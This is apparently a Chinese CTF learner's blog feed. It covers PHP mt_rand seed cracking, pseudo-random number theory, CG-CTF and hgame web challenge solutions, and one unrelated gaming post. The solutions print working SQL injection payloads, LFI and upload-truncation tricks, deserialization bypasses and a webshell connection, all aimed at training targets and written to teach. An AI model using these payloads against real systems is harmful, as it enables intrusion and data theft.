刚刚学习了伪随机数,正好四火师傅找了一道php伪随机数的题来练练手,解题后对伪随机数有了进一步的学习。
打开题目可以看到:
题目是猜字符串,当然是不可能才出来的。我们查看源码,发现了有用代码块:
这只是一个判断正误的代码,但是在第60行导入了check.php
,我们查看这个文件。
这就是产生字符串的代码。
代码审计:
(0,999999999)
中任取一个数用mt_srand()函数
作为随机种子$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
mt_rand()函数
从$str_long1
中随机出开始抽取一个字符然后拼接起来。$str_show
只展示了10个数,也就是题目显示的前十个字符。既然是伪随机,如果mt_srand()
使用的随机种子相同,那么之后生成的字符串一定是一样的。
目前,可以使用种子爆破工具php_mt_seed
来获取,但是我们首先需要的到所需的参数。
我们用脚本反解,需要修改少量题目代码:
str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' #待抽取字符串str2 = '2wiBLXc8VJ' #生成的前十个字符length = len(str2) #已生成的长度res = ''for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' ' #逆向出参数 breakprint(res)
运行结果:
然后我们将所得的结果用php_mt_seed
爆破得到随机种子。
接下来我们只需要把随机种子带回到check.php
中的mt_srand()
函数中,然后其余不变,输出全部字符即可得到抽奖码,提交后得到flag。
mt_srand(seed); 函数播种 Mersenne Twister 随机数生成器。参数:seed 可选,规定播种值。mt_rand();函数使用 Mersenne Twister 算法生成随机整数。参数:min 可选。规定返回的最小数。默认是 0。max 可选。规定返回的最大数。默认是 mt_getrandmax()。
我们来写一段代码:
<?phpmt_srand(12345);echo mt_rand()."<br/>";?>
输出:1996335345
改写代码为:
<?phpmt_srand(12345);echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";?>
输出结果:
1996335345191159269067941134228069177639496264285382868
注意到,第一个结果与第一次的结果相同。如果结论还不够明显的话。
我们再次修改代码:
<?phpmt_srand(12345);echo mt_rand()."<br/>";mt_srand(12345);echo mt_rand()."<br/>";mt_srand(12345);echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";echo mt_rand()."<br/>";?>
输出结果:
1996335345199633534519963353451911592690679411342280691776
结论显而易见了,当随机种子确定时,生成的伪随机数就会确定。
其实,这就是伪随机数的漏洞,存在可预测性。
生成伪随机数是线性的,你可以理解为y=ax,x就是种子,知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上更复杂肯定。
即:
我知道种子后,可以确定你输出伪随机数的序列。知道你的随机数序列,可以确定你的种子。
对于种子爆破就可以使用php_mt_seed
,已经写好了,可以直接使用。
在安全领域,伪随机数是很常见的,接下来我来简单唠唠伪随机数。以下内容是在经过在网上查找学习后的简略总结。
伪随机数
:伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。在计算伪随机数时,若使用的初值(种子)不变,那么伪随机数的数序也不变。伪随机数可以用计算机大量生成,在模拟研究中为了提高模拟效率,一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数,以保证计算结果的随机性。
说到伪随机数,就需要提一下真随机数
和准随机数
。
真随机数
:随机物理过程
来产生。准随机数
:准确随机数概念是来自如下的事实:要实现严格数学意义上的随机数,在理论上虽然可行,但在实际中却是不可行的,也米有这个必要。关键是要保证“随机”数数列具有能产出所需要的结果的必要特性。
一般地,伪随机数的生成方法主要有以下3种:
(1) 直接法(Direct Method),根据分布函数的物理意义生成。缺点是仅适用于某些具有特殊分布的随机数,如二项式分布、泊松分布。
(2) 逆转法(Inversion Method),假设U服从[0,1]区间上的均匀分布,令X=F-1(U),则X的累计分布函数(CDF)为F。该方法原理简单、编程方便、适用性广。
(3)接受拒绝法(Acceptance-Rejection Method):假设希望生成的随机数的概率密度函数(PDF)为f,则首先找到一个PDF为g的随机数发生器与常数c,使得f(x)≤cg(x),然后根据接收拒绝算法求解。由于算法平均运算c次才能得到一个希望生成的随机数,因此c的取值必须尽可能小。显然,该算法的缺点是较难确定g与c。
伪随机数生成器(PRNG)一般采用逆转法,其基础是均匀分布,均匀分布PRNG的优劣决定了整个随机数体系的优劣[7]。下文研究均匀分布的PRNG。
随机种子,一种以随机数作为对象的以真随机数(种子)为初始条件的随机数。一般计算机的随机数都是伪随机数,以一个真随机数(种子)作为初始条件,然后用一定的算法不停迭代产生随机数。
接下来我们用程序深入理解一下
import numpy as npnum = 0while (num < 5): np.random.seed(0) # 每次循环随机种子不变 print(np.random.rand(1,5)) # 得到一个范围从0到1的 1行5列的随机数 num += 1print('-------------------------')
运行结果:
由结果可以看出来,这些都是伪随机数,也就是一直不变的随机数,所以我们可以通过输入随机种子,得到一个初始固定的随机数。随机种子的初始值,是一直不变的。
我们把随机种子的赋值,放到循环外面,意思是只初始化一次。
import numpy as npnum = 0np.random.seed(0) # 随机种子只初始化一次while (num < 5): print(np.random.rand(1,5)) num += 1print('-------------------------')
看到,结果就不一样了,但是初始化第一行的结果还是一样的,这说明初始值一样 ,而且你会发现,无论你运行多少遍,有了随机种子,运行的结果都是一样的
当随机种子没有初始化时,即我们把他注释掉,如果不设置这个值,则系统根据时间来自己选择这个值,此时每次生成的随机数因时间差异而不同。
import numpy as npnum = 0#np.random.seed(0)while (num < 5): print(np.random.rand(1,5)) num += 1print('-------------------------')
第一次结果:
第二次结果:
第三次结果:
此时结果就是完全随机的。
通过随机种子,通过一些复杂的数学算法,你可以得到一组有规律的随机数,而随机种子就是这个随机数的初始值。随机种子相同,得到的随机数一定也相同。
就拿BugkuCTF
靶场WEB
第二题计算器
来举个栗子。
可以知道,当式子被点击时,式子底色,数字和数字颜色都随机变化了,也发现不了什么规律。用view-source
查看源码,打开"js/code.js"
文件。
$(function() { var code = 9999; function codes(){ var ranColor = '#' + ('00000' + (Math.random() * 0x1000000 << 0).toString(16)).slice(-6); //随机生成颜色 // alert(ranColor) var ranColor2 = '#' + ('00000' + (Math.random() * 0x1000000 << 0).toString(16)).slice(-6); var num1 = Math.floor(Math.random() * 100); var num2 = Math.floor(Math.random() * 100); code = num1 + num2; $("#code").html(num1 + "+" + num2 + "=?"); if ($("#code").hasClass("nocode")) { $("#code").removeClass("nocode"); $("#code").addClass("code"); } $("#code").css('background',ranColor); $("#code").css('color',ranColor2); } codes() $("#code").on('click',codes) $("#check").click(function(){ if ($(".input").val() == code && code != 9999) { alert("flag{CTF-bugku-0032}"); } else { alert("输入有误!"); } }); });
顺便发现了flag竟然藏在这里。以前都没有注意到过。
codes()
函数中,ranColor,ranColor2,num1,num2
这四个变量均是通过一定的计算方法产生的伪随机数。
目前接触到关于随机数的ctf题目较少,以后会根据题目来总结。
]]>其实我经常也玩一些游戏,LOL等等。
今天,在同学们的鼓动下,心血来潮下载了吃鸡。但是启动时却出现了问题。
开始游戏后,弹出了Battleeye Launcher
窗口。
虽然这并不影响进入客户端,但是开启游戏后一直提示连接超时
。
经过一番百度,找到了问题是缺失了一些文件。
解决办法是:在库中找到游戏,右击,点击属性,在本地文件中点击验证游戏文件的完整性。
等验证完毕后再进入游戏问题就解决。
最后,附上我的steam用户名:applepenlby
]]>作为一名web新手,刷题是很有必要的,而CG-CTF是一个适合新手的做题平台,下面是我对于CG-CTF Web部分的解题思路,希望对大家有所帮助,如有欠缺,欢迎大家进行补充。
直接F12,可得到flag
题目提供了源码。
源码(PHP)$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}";} else { echo "false!!!";}}else{echo "please input a";}
考察PHP弱类型以及md5函数漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有:
QNKCDZO240610708s878926199as155964671as214587387as214587387a sha1(str)sha1('aaroZmOk') sha1('aaK1STfY')sha1('aaO8zKZF')sha1('aa3OFF9m')
构造payload:?a=240610708
,出flag
提示输入zhimakaimen,输入后无反应,再F12查看源码:
发现输入框的maxlength=“10”,此时可以修改前端的maxlength,再次输入口令拿到flag
一道简单的信息隐藏题,一进来只有一张图片,F12后可知图片名为2.gif
,下载后将后缀名改为.txt
。flag藏在文件末尾。
正如题目所述,层层递进。
解法一:
F12,发现SO.html
,查看后发现S0.html
,继续查看发现SO.htm
,继续查看发现S0.htm
,最后发现404.html
,进入后翻开源码找到flag,需要竖着看!
解法二:
直接抓包,在404.html
文件中找到flag。
题目提示:javascript aaencode
打开后是乱码,用utf-8编码查看,发现是一堆颜文字。
其实是javascript的加密工具aaencode可以把js转为颜文字符号。
直接ctrl c +ctrl v
丢进控制台执行,出来flag。
拼手速自然是不可能点出来的。
直接抓包就可以找到flag。
题目源码:
见到的一个类似编码的shell,请解码<?phpfunction CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode ($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE;}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>
我们保存后直接运行代码,会报出eval
语法错误,将 eval
改为echo
试着输出解码后的结果,可以直接得到flag。
题目提示:LFI
文件包含题目,使用伪协议php://filter
,通过index.php?file=php://filter/convert.base64-encode/resource=
分别查看index.php
和show.php
,解码后发现flag在index.php
的末尾。
单身100年也没用了,看见这种话就直接抓包,用Chrome自带的抓包,发现index.php
文件,flag就在响应头中。
题目提示:TIP: 0==not
截包,修改cookie的值为1即可。
robots.txt
是一种爬虫协议,通常存放在根目录下,首先查看robots.txt
文件。
出现代码:
主要考察intval()
函数的用法,php官网解释为:获取变量的整数值
,所以此题要绕过,需要给id
传入整数部分为1024,小数部分为不为0的值即可绕过。注意到是传入sql.php
文件中。
构造payload:http://chinalover.sinaapp.com/web11/sql.php?id=1024.001
,得到flag。
本题考察宽字节注入。
当尝试id=1'
时,发现'
被转义了,在URL中%df
与\
结合会变成運
,现在我们闭合了id
的值,接下来在最后使用#
,--+
或--空格
来注释掉最后一个'
。
接下来,依次进行爆破。
id=-1%df' order by 1%23
,回显正常。id=-1%df' order by 2%23
,回显正常。id=-1%df' order by 3%23
,回显错误。id=-1%df' union select 1,2%23
,回显2sae-chinalover
。id=-1%df' union select 1,database()%23
ctf,ctf2,ctf3,ctf4,gbksqli,news
。id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23
id=-1%df' union select 1,flag from ctf4%23
此题考查ereg()
函数绕过,有两种方法。
利用%00截断
或数组
绕过。
?nctf=1%00%23biubiubiu?nctf[]=%23biubiubiu
此题和0x02相似,都是考察PHP弱类型。
有两种解法:
?a=240610708&b=QNKCDZO #利用哈希值。?a[]=&b[]=111 #利用md5()不能处理数组。
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?> <?php extract($_POST); if ($pass == $thepassword_123) { ?> <div class="alert alert-success"> <code><?php echo $theflag; ?></code> </div> <?php } ?> <?php } ?>
extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量。
所以传入pass
和thepassword_123
相等即可。
根据题目意思,需要伪装在本地登陆。可能要用到client-ip
或者x-forwarded-for
。
截包,添加字段client-ip:127.0.0.1
。获得flag。
首先随便上传一个文件,提示要上传jpg,gif,png后缀的文件
,再上传.jpg
文件,又要求上传.php
文件,上传.php
时,又出了问题。
首先,手动构造一个1.php.jpg
文件,然后抓包。利用00
截断上传绕过。
原理:00截断是文件后缀名就一个%00字节,可以截断某些函数对文件名的判断,在许多语言函数中,处理字符串的函数中0x00被认为是终止符。
在二进制编码中找到文件的位置,将php后面的值改为00
,然后GO一下就得到flag
题目给出源代码:
<?phpif($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo '</br>'.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); }}echo $query[user];?>
此题为SQL注入,主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。
构造payload:
拿到flag
题目给出了源代码:
$pass=@$_POST['pass'];$pass1=***********;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>
考察strcmp()
弱类型,传入数组时会返回null。所以post
的数据为pass[]=1
可以获取flag
题目给出了源码:
<?phpfunction noother_says_correct($number){ $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '54975581388';}$flag='*******';if(noother_says_correct($_GET['key'])) echo $flag;else echo 'access denied';?>
分析源码可得知:传入key
的值中不能包含1-9
的数字,但要和54975581388
相等,此处转化为十六进制0xccccccccc
即可获取到flag。
在post
传参时发现还有get
传参的user1
,初始值为ctfuser
经过base64编码
的值,题目要求修改user=admin
的密码,所以将user1
的值改为admin
的base64编码
加密后的值YWRtaW4=
,user
的值改为admin
。即可获取flag。
题目给出源代码:
<?phpclass just4fun { var $enter; var $secret;}if (isset($_GET['pass'])) { $pass = $_GET['pass']; if(get_magic_quotes_gpc()){ $pass=stripslashes($pass); } $o = unserialize($pass); if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$o->secret; else echo "Oh no... You can't fool me"; } else echo "are you trolling?";?>
本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。
编写脚本:
<?phpclass just4fun { var $enter; var $secret;}$exp = new just4fun();$exp -> enter = &$exp -> secret;$pass = serialize($exp);print_r($pass);?>
得到payload:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
但是没有flag。题目提示目前没法做,可能就是原因。
题目提示:TIP:反斜杠可以用来转义 仔细查看相关函数的用法。
用view-source
查看源码。
stripslashes
函数用于去掉\
,返回一个去除转义反斜线后的字符串(\‘ 转换为 ‘ 等等)。双反斜线(\\)被转换为单个反斜线(\)。
htmlentities — 将字符转换为 HTML 转义字符
由于htmllentities
函数会使'
失效,所以我们无法闭合源代码中的'
,根据题目提示灵活使用转义字符\
。
拿出SQL注入语句'SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'
来分析。
首先name=后面的’'‘将第一个'
转移,剩下的'
作为语句开头。
接下来到了问题关键处,pass=后面只能转义一个'
,所以剩下的那个'
只能作为语句的闭合标志。因此我们需要将$username后面的'
全部转义。这里就要用到’'。
接下来就简单了,构造payload:?username=admin \&password=or 1=1%23
传入的SQL语句变为:SELECT * FROM users WHERE name='admin \' AND pass=' or 1=1
得到flag。
进入题目出现一堆代码,经查看后,是jsfuck,可以直接丢进控制台运行。得到1bc29b36f623ba82aaf6724fd3b16718.php
,查看这个文件,提示TIP在脑袋里。
脑袋———header,在header中找到tip
提示history of bash
,是指让我们去查看根目录下的.bash_history
文件。
得到压缩命令:zip -r flagbak.zip ./*
我们下载flagbak.zip
文件,找到其中的flag.txt
文件打开得到flag。
首先查看题目给出的源码:
分析代码:
构造payload:
user='union select md5(1)# #开头'用于闭合user前面的',后面的#用于注释掉后面的'pass=1 #对应md5(1)
进入题目是一块留言板,先随便玩玩。
先来看留言搜索,输入1试试,
提示“只有用本公司开发的的浏览器”,猜想可能用到user-agent
,但是我们并不知道到底是什么浏览器,所以继续往下看。
接下来看留言,猜想此处可能存在xss
或sql
注入,先随便输入试试。
出题人说自己也不会xss
,所以排除xss。
确认提交后,提示页码源代码中有惊喜!
我们用view-source
查看网页源码,在第58行,发现"./about.php?file=sm.txt"
。
点开后,我们可以看到sm.txt
文件的内容,很明显,此题存在文件包含
漏洞。
sm.txt
文件中给出了两个提示:
admin表结构 create table admin ( id integer, username text, userpass text, )
这更加坚定了存在SQL注入。然后也没有什么有用的信息了。再次返回留言板,最底部还有一个本CMS说明
可以打开。还是sm.txt
现在我们可以利用文件包含漏洞读取上面找出的文件,先查看index.php
。
这样的代码可读性很差,我们可以利用python
中的BeautifulSoup
库来整理代码。编写脚本:
import requestsfrom bs4 import BeautifulSoupurl = "http://cms.nuptzj.cn/about.php?file="file_list = ["index.php","passencode.php","config.php","say.php","so.php""about.php"]for i in file_list: r = requests.get(url+i) print("download"+i) if r.status_code==200: r.encoding = "utf-8" r = BeautifulSoup(r.text,"html.parser") print(r)
关于BeautifulSoup库
的使用可以参考我的另一篇blog–Python-requests 模块学习
的相关连接。
先看index.php:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><?php$file=$_GET['file'];if($file=="" || strstr($file,'config.php')){ echo "file参数不能为空!"; exit();}else{ $cut=strchr($file,"loginxlcteam"); if($cut==false){ $data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; }}
发现config.php
和loginxlcteam
。我们看看这个loginxlcteam
是什么。
发现Xlcteam留言板系统后台登录。
不出意外,应该就是在这里SQL注入,但是条件还没有成熟。
此时想到之前so.php
中提到只有本公司开发的浏览器才能用。我们来查看so.php
中的内容。
<?phpif($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; exit();}$id=$_POST['soid'];include 'config.php';include 'antiinject.php';include 'antixss.php';$id=antiinject($id);$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());mysql_select_db($db_name,$con);$id=mysql_real_escape_string($id);$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");$rs=mysql_fetch_array($result);echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';mysql_free_result($result);mysql_free_result($file);mysql_close($con);?>
第2行代码,推出当$_SERVER['HTTP_USER_AGENT']=="Xlcteam Browser"
才可以通过。接着往下看,第8行有防止SQL注入的antiinject.php
文件。
查看antiinject.php
文件。
<?phpfunction antiinject($content) { $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "="); $info = strtolower($content); for ($i = 0;$i <= count($keyword);$i++) { $info = str_replace($keyword[$i], '', $info); } return $info;}?>
发现了文件中过滤了很多关键字。我们可以通过双写绕过或者=
绕过,空格可以用/**/
绕过。
User-Agent
设置为Xlcteam Browser
。soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,3,4
,回显2和3,说明2,3处可以注入。soid=0/**/an=d/**/1/**/uni=on/**/sele=ct/**/1,2,(sele=ct/**/group_concat(userp=ass)/**/fr=om/**/adm=in),4
。102 117 99 107 114 117 110 116 117
,这是userpass的ASCII编码,解码得fuckruntu
。接下来考察一句话木马,提供了文件名,查看文件。
直接使用蚁剑:
url : http://cms.nuptzj.cn/xlcteam. php?www=preg_replacepass : wtf
查看后台文件,即可获得flag。
TIPS:1.管理员邮箱观察一下就可以找到2.linux下一般使用vi编辑器,并且异常退出会留下备份文件3.弱类型bypass
先了解Linux下的备份文件:
vim的特性,自动备份:一、vim备份文件 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看; eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~二、vim临时文件 vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。
admin@nuptzj.cn
。.submit.php.swp
文件下发现源码。token=0000000000
。email
和token
。flag:nctf{thanks_to_cumt_bxs}
什么都没有,view-soure
查看源码。
先了解file_get_contents()
函数。
绕过file_get_contents()
函数共有两种方法:
一、使用Data URI scheme (data: base64) 协议。
#常用格式有: 1、 data:,<文本数据> 2、 data:text/plain,<文本数据> 3、 data:text/html,<HTML代码> 4、 data:text/html;base64,<base64编码的5、HTML代码> 6、 data:text/css,<CSS代码> 7、 data:text/css;base64,<base64编码的CSS代码> 8、 data:text/javascript,<Javascript代码> 9、 data:text/javascript;base64,<base64编码的Javascript代码> 10、data:image/gif;base64,base64编码的gif图片数据 11、data:image/png;base64,base64编码的png图片数据 12、data:image/jpeg;base64,base64编码的jpeg图片数据 13、data:image/x-icon;base64,base64编码的icon图片数据
构造payload:
?file=data:,meizijiu?file=data:text/plain,meizijiu
二、二、使用伪协议php://input
,再通过POST
方法传入"meizijiu"
构造payload:
得到flag
先用view-source
查看源码
只需要name=="meizijiu233"
即可得到flag。
利用$$key=$value
,传入name=meizijiu233
可以覆盖掉name
原来的值,使条件成立。
payload:?name=meizijiu233
这些题目只是web入门级别的,接下来就要向更难的题目进发!!!
]]>首先,刚进入这个所谓的留言板,注意到URL是http://139.199.182.61/index.php?id=1
。
注意到id可以赋值,改成id=2
,页面发生了变化。
我*你个大(bi~)!!!
再改成id=3
,又变了一次。
从这儿可以判断id
处,可以SQL注入,于是先查找内部的数据库,id=union select database();#
,返回id:uniondatabase();
,说明select和空格被过滤了。
select过滤可以用seleselectct
绕过。
空格绕过有两种方法:
一、通过注释/**/
绕过。
二、通过括号(1=0)
绕过。
现在爆数据库,构造payload:id='/**/union/**/seleselectct/**/database();#
,发现没有结果
用URL编码payload:id=%27%2f**%2funion%2f**%2fseleselectct%2f**%2fdatabase()%3b%23
,提交后返回结果easysql
就是此题的数据库。
接下来爆表名,构造payload:id=' union select table_name from information_schema.tables where table_schema='easysql';#
,对其修饰id='/**/union/**/seleselectct/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='easysql';#
,再URL编码payload:%27%2f**%2funion%2f**%2fseleselectct%2f**%2ftable_name%2f**%2ffrom%2f**%2finformation_schema.tables%2f**%2fwhere%2f**%2ftable_schema%3d%27easysql%27%3b%23
,返回表名f1aggggggggggggg
。
然后爆字段名,构造payload:id=' union select column_name from information_schema.columns where table_name='f1aggggggggggggg' and table_schema='easysql';#
,修饰id='/**/union/**/seleselectct/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'/**/and/**/table_schema='easysql';#
,URL编码id=%27%2f**%2funion%2f**%2fseleselectct%2f**%2fcolumn_name%2f**%2ffrom%2f**%2finformation_schema.columns%2f**%2fwhere%2f**%2ftable_name%3d%27f1aggggggggggggg%27%2f**%2fand%2f**%2ftable_schema%3d%27easysql%27%3b%23
,返回字段名fl4444444g
。
最后就可以爆出flag
了,构造payload:id=' union select fl4444444g from f1aggggggggggggg;#
,修饰id='/**/union/**/seleselectct/**/fl4444444g/**/from/**/f1aggggggggggggg;#
,URL编码id=%27%2f**%2funion%2f**%2fseleselectct%2f**%2ffl4444444g%2f**%2ffrom%2f**%2ff1aggggggggggggg%3b%23
,拿到flag:hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
。
此题是一道简单的SQL注入题目,首先检测到id处可以进行注入,然后尝试各种注入找出被过滤的关键字,接下来找出绕过过滤的方法,然后根据数据库 --> 表 --> 字段 --> 内容
的顺序一步步找出flag!
首先F12查看源码,发现showimg.php?img=c2hpZWxkLmpwZw==
进入Network中打开showimg.php?img=c2hpZWxkLmpwZw==,是一堆乱码,看见showing.php应该是文件包含类的题目。
c2hpZWxkLmpwZw==是base64编码,解码后为shield.jpg,所以img查看的内容需要base64加密。
首先先查看showing.php,加密后为c2hvd2luZy5waHA=,payload img=c2hvd2luZy5waHA=
,用view-source
查看源码。
对$f解码后过滤..
,/
,\\
,pctf
接着查看index.php的内容,加密aW5kZXgucGhw,payload img=aW5kZXgucGhw+view-source
.
引入shield.php,有类名Shield
,出现反序列化函数unserialize
,目前还没有思路。
再看shield.php,加密c2hpZWxkLnBocA==,payload img=c2hpZWxkLnBocA==
+view-source
.
第一行说flag在pctf.php
中,Shield类出现,也过滤了..
,/
,\\
,没有过滤pctf
由于前面showing.php中过滤了pctf,所以不能直接查看,所以利用反序列化漏洞。
开始写脚本。
<?php//flag is in pctf.phpclass Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } }}$ctf = new Shield('pctf.php');echo serialize($ctf);?>
得到序列化后的结果O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
,构造payload ?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
,F12后看到flag。
此题是文件包含和反序列化类的题,首先要想到base64加密,之后查看各个php文件,得到线索,想办法查看pctf.php,showing.php都不通,只能在index.php中的序列化上下手。
]]>